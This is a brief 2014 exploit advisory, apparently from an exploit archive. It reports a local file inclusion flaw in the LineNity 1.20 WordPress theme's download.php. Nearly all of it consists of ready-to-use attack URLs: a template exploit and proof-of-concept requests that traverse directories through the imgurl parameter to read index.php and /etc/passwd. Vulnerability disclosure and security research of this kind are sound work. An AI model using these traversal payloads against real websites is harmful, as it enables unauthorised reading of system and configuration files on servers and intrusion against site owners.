WordPress Theme LineNity 1.20 - Local File Inclusion




[+] Local File Inclusion in WordPress Theme LineNity 

[+] Date: 13/04/2014

[+] Risk: High

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: http://themeforest.net/item/linenity-clean-responsive-wordpress-magazine/4417803

[+] Contact: felipe_andrian@hotmail.com

[+] Tested on: Windows 7 and Linux

[+] Vulnerable File: download.php

[+] Exploit : http://host/wp-content/themes/linenity/functions/download.php?imgurl=[ Local File Inclusion ]

[+] PoC: http://localhost/wp-content/themes/linenity/functions/download.php?imgurl=../../../../index.php

         http://localhost/wordpress/wp-content/themes/linenity/functions/download.php?imgurl=../../../../../../../../../../../../../../../etc/passwd